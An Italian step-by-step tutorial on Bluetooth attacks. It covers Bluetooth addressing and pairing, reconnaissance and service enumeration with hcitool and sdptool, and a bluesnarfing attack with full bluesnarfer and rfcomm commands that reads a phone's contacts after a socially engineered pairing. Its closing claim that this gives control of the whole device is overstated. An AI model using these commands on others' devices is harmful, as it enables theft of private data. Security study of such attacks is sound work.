Bluetooth Attack

La nostra quotidianità è costantemente permeata dalla tecnologia: dal suono della sveglia alla mattina, passando al primo caffè, per procedere alla macchina con cui guidiamo, fino a giungere al nostro orologio o ai giocattoli di un bambino, senza contare i macchinari aziendali e di produzione. La tecnologia interagisce, e in alcuni casi governa, tutti questi processi. Esiste tuttavia un divario quasi abissale tra le facoltà che abbiamo di proteggerla, rispetto a quelle di produrla e utilizzarla.

Un esempio lampante è rappresentato dal Bluetooth, ormai presente quasi in ogni device o gadget: smartphone, tablets, keyboard, giocattoli per bambini, auto, oggetti di domotica, orologi digitali, etc… Hackerare un device Bluetooth vuol dire, in molti casi, prenderne il controllo ed avere accesso a tutte le informazioni in esso contenute.

Prima di capire come Hackerare un dispositivo Bluetooth, dobbiamo comprendere il funzionamento di questa tecnologia.

Bluetooth

La tecnologia Bluetooth fu sviluppata negli anni ‘90 dalla multinazionale svedese Ericsson. Potremmo definire il Bluetooth come delle onde radio a corto raggio, che consentono ai dispositivi di comunicare tra di loro senza l’utilizzo di cavi. Qualsiasi dispositivo dotato di un chip è in grado di interagire con questa tecnologia, purché si trovi entro la distanza richiesta.

Una connessione Bluetooth opera ad una frequenza di 2.402 – 2.485 GHz, prende il nome di “piconets” ed utilizza un modello di master/slave al fine di controllare quando e come un determinato device può inviare dati. In una rete piconet qualsiasi “slave” può connettersi solamente ad un singolo “master” ed il dispositivo master coordina le comunicazioni attraverso la rete che si è instaurata fra i due dispositivi. Gli “slaves” quindi, non sono autorizzati a comunicare con altri “slaves”, ma possono dialogare esclusivamente con il master.

Ogni singolo device Bluetooth ha un indirizzo univoco a 48-bit compatibile IEEE MAC, denominato Bluetooth Device Address (BD_ADDR) e rappresentato da dodici caratteri esadecimali, assegnatogli dal produttore.

L’indirizzo è diviso in tre parti: NAP, UAP e LAP.

• NAP (Non-significant Address Part): contiene i primi 16 bits dell’OUI. Il valore del NAP viene utilizzato durante la sincronizzazione nel Frequency Hopping (FH) di frames/pacchetti. L’FH è una tecnica utilizzata per evitare “collision”, cioè interferenze di altri sistemi, variando la frequenza di trasmissione.
• UAP (Upper Address Part): contiene i restanti 8 bits dell’OUI. Usato per inizializzare gli algoritmi di Header Error Check (HEC) e Cyclic Redundancy Check (CRC) e per il FH.
• LAP (Lower Address Part): viene assegnato dal produttore del dispositivo univocamente ed è usato per la generazione della sync word e per il FH.

I primi 24 bits sono i più significativi, vengono chiamati Organizationally Unique Identifier (OUI) e possono essere utilizzati per determinare il produttore di un dispositivo.

Processo di Connessione

Vediamo ora come avviene la connessione fra due devices.

I collegamenti Bluethooth vengono creati tramite un processo che prende il nome di “accoppiamento”. Quando due dispositivi si accoppiano condividono molteplici informazioni e usualmente le archiviano in memoria.

L’associazione di solito è subordinata ad un processo di autenticazione, in cui un utente esterno deve convalidare la connessione tra i dispositivi. Il flusso del processo di autenticazione può variare da dispositivo a dispositivo, ma solitamente è sufficiente premere il tasto “Ok” per la conferma del codice numerico di accoppiamento, a sei cifre. Altre metodologie di autenticazione prevedono ad esempio l’inserimento di una password su ciascun dispositivo.

1. Inquiry: Ammettiamo che i due device non abbiano nessuna informazione l’uno dell’altro e che non siano mai stati associati. Uno dei due device avvia una “richiesta”, per cercare di localizzare l’altro. Tutti i device in ascolto risponderanno inviando il loro indirizzo ed altre informazioni tra cui il nome.
2. Paging (Avvio Connessione): una volta che i device hanno effettuato lo scambio dei lori indirizzi nella prima fase di “Ricerca”, viene stabilita una prima fase di negoziazione della connessione Bluetooth.
3. Connection: Al termine del processo preliminare c’è la fase di connessione vera e propria. Mentre un dispositivo è connesso, può essere posto in vari stati:
   1. Active Mode: modalità attiva d’interazione fra i due device, dove avviene l’invio e la ricezione di dati;
   2. Sniff Mode: il device viene posto in stand-by e controlla ad ogni intervallo di tempo se vi è una richiesta di connessione;
   3. Hold Mode: il device è in stand-by sino allo scadere di un intervallo di tempo;
   4. Park Mode: il device risponde esclusivamente quando il Master desidera interagire con esso.

FASE I – Preparazione

Come ogni attacco che si rispetti, la prima fase è quella della preparazione. Assicuriamoci, prima di tutto, di avere tutti gli strumenti necessari ad eseguirlo.

La macchina attaccante sarà una Kali Linux virtualizzata con Oracle VM, su un sistema operativo Windows 10.

Nel mio caso, utilizzerò il device Bluetooth integrato in un Laptop. Come prima cosa, assicuriamoci che il device sia riconosciuto da Windows. Utilizziamo la combinazione di tasti Win + R ed utilizziamo il comando devmgmt.msc , per avere accesso al Device Manager. Localizziamo il nostro device Bluetooth nella lista e disabilitiamolo facendo click con il tasto desto destro del mouse sulla relativa icona, scegliendo “disable device”. Non chiudiamo il menù, ma lasciamolo ancora un attimo aperto.

Avviamo adesso la nostra distribuzione Kali. Una volta che avremo loggato, torniamo sulla finestra dei Device che abbiamo pocanzi disabilitato. Clicchiamo ancora una volta sul device e, questa volta, scegliamo la voce “enable“ (abilitandolo).

Associamo adesso il dispositivo Bluetooth alla nostra distro virtuale: torniamo alla nostra macchina Kali, osserviamo il menu in alto e clicchiamo sulla voce “Dispositivi”. Sotto la voce USB scegliamo la voce che identifica il nostro apparato Bluetooth e clicchiamo per abilitarlo nella macchina virtuale.

Utilizziamo ora il comando hciconfig, per fare un check e controllare che il nostro device sia correttamente funzionante. L’interfaccia è connessa (ma come possiamo vedere dall’immagine) il suo status è “DOWN”.

Procediamo all’abilitazione digitando il seguente comando

hciconfig hci0 up

• hciconfig: comando
• hci0: nome dell’interfaccia con cui vogliamo interagire
• up: stato in cui desideriamo venga posta l’interfaccia (abilitata nel nostro caso)

Adesso che il nostro Device è pronto, possiamo passare alla seconda fase.

FASE II – Ricognizione

Vediamo ora quali dispositivi Bluetooth ci sono attorno a noi. Per farlo, utilizziamo il comando hcitool scan.

Il risultato della scansione ci mostra un dispositivo nelle vicinanze che, stando alla descrizione, è uno SmartPhone, per la precisione un HUAWEI P9 lite.

Proviamo quindi ad ottenere più informazioni sul device sottoponendo una richiesta di “inquiry”:

hcitool inq

Leggiamo l’output del comando:

• Clock Offset: La banda radio utilizzata nella tecnologia Bluetooth contiene 79 “bands” da 1 Mhz ciascuna. Invece di cercare una frequenza libera da utilizzare, i dispositivi Bluetooth cambiano frequenza ad intervalli regolari, seguendo una successione di salti che dipende dal BDADDR del master. Lo “slave” ha bisogno quindi di conoscere il BDADDR e il clock del master. Queste informazioni si ottengono durante la fase di paging: il master invia pacchetti specifici per questo scopo, contenenti sia il suo BSADDR, che il suo clock.

Una volta ricevuto questo pacchetto (dal master), lo slave confronta il clock che ha ricevuto con il proprio, calcolandone la differenza. Aggiungendo infine questa differenza al suo clock, ottiene il clock del master. La differenza fra i due clock, prende il nome di: “Clock Offset”.

• Class: indica la tipologia del Device Bluetooth. Possiamo (ad esempio) effettuare un lookup della classe, utilizzando il Class Device Calculation (CdC) a questo indirizzo, a cui troveremo anche un pdf con tutte le referenze: https://www.ampedrftech.com/cod.htm . Nel nostro caso, inserendo la classe ottenuta durante la ricognizione (5a020c) potremo notare che si tratta di un device di tipologia “Phone”, con differenti “Service Class” annesse.

FASE III – Scanning dei Servizi

Analogamente a quando mappiamo i servizi su un dato target, utilizzando (ad esempio) nmap, allo stesso modo possiamo vedere quali servizi in ascolto ci sono su un dato device. Per farlo, sfrutteremo il Service Discovery Protocol (SDP).

L’SDP consente a un dispositivo Bluetooth di mappare e stabilire molteplici connessioni, permettendogli di indicare quali servizi supportano gli altri dispositivi Bluetooth e di ottenerne un elenco completo.

Stabiliamo ora quali servizi espone il Bluetooth del nostro HUAWEI P9 lite, con il seguente comando:

sdptool browse A4:XX:XX:XX:XX:43

• sdptool: invochiamo il comando
• browse : l’opzione specifica di cercare fra tutti i potenziali servizi disponibili
• A4:XX:XX:XX:XX:43 : è il BD_ADDR della nostra vittima

Come possiamo vede dall’immagine (troncata per l’eccessiva lunghezza), il dispositivo target espone molteplici servizi.

Ma quali tipi di attacco possiamo portare ad una rete Bluetooth? Vediamo i principali:

• BlueSmacking: consiste nell’eseguire un attacco di Denial of Services verso un device con il Bluetooth abilitato
• BlueJacking: consiste nel riuscire a carpire alla vittima il “click” necessario per innescare l’attacco. Solitamente avviene aggirando la vittima con una serie di messaggi spam.
• BlueSnarfing: è l’attacco che porteremo a segno più avanti. È simile al BlueJacking, per certi versi, ma molto più pericoloso. Mentre il BlueJacking invia esclusivamente dati, il BlueSnarfing permette di ottenere diversi dati (informazioni, foto, messaggi di testo, etc…)
• BlueBugging: è un exploit che sfrutta una vulnerabilità del bluetooth per stabilire una connessione ed eseguire un Remote Code Execution (RCE) sul device.

FASE IV – Bluesnarfing Attack

Per carpire le informazioni sensibili dal device vittima, utilizzeremo una tecnica di Bluesnarfing.

Per prima cosa, installiamo il tool di cui abbiamo bisogno: bluesnarfer. Per farlo ci basterà semplicemente digitare il comando sulla nostra distro e selezionare “y” quando ci verrà chiesto se desideriamo installarlo (oppure digitare apt install bluesnarfer).

Una volta installato, come prima cosa, dovremo creare una directory per la Radio Frequency communication (rf):

mkdir -p /dev/bluetooth/rfcomm/

• mkdir : crea una directory
• -p : per creare directory intermedie, se non esistono
• /dev/bluetooth/rfcomm/ : tutto il percorso che intendiamo creare

Ora dobbiamo utilizzare il comando mknod per emulare la rfcomm, creando un file “speciale” con una porta seriale virtuale.

mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0

• mknod: è un comando utilizzato nei sistemi Unix-like per creare file speciali come “named pipe”. Magari l’avrete già visto utilizzare con la finalità di creare un netcat relay, attraverso un file pipe, First In First Out (FIFO), al fine di eseguire pivoting all’interno di una rete
• -m : sta per “MODE” ed indentifica i permessi
• 666 : permessi di scrittura e lettura, ma non di esecuzione
• /dev/bluetooth/rfcomm/0 c 216 0: il file “speciale” con la linea seriale emulata

Adesso possiamo eseguire il tool, attraverso il seguente comando:

bluesnarfer -b A4:XX:XX:XX:XX:43 -C 2 –l

NB: nella simulazione ipotizzeremo che il nostro Social Engineering sulla vittima abbia avuto successo e che la vittima, con il Bluetooth attivo, abbia cliccato sul nostro messaggio, associando così i due device.

bluesnarfer -b A4:XX:XX:XX:XX:43 -C 2 -r 1-15 ME

• bluesnarfer : comando
• -b A4:XX:XX:XX:XX:43 : specifichiamo l’indirizzo Bluetooth del nostro target
• -C 2 : specifichiamo il numero del canele Bluetooth rfcomm
• -r 1-15 ME : leggi i primi quindici record della rubrica

Come possiamo notare dall’immagine, viene mostrato un solo record (l’unico presente nella rubrica del cellulare utilizzato come cavia) ed il relativo numero: HackerJournal.

Il nostro attacco è andato a buon fine. In questo modo possiamo finalmente, non solo avere accesso alla rubrica della vittima, ma disporre dell’intero device.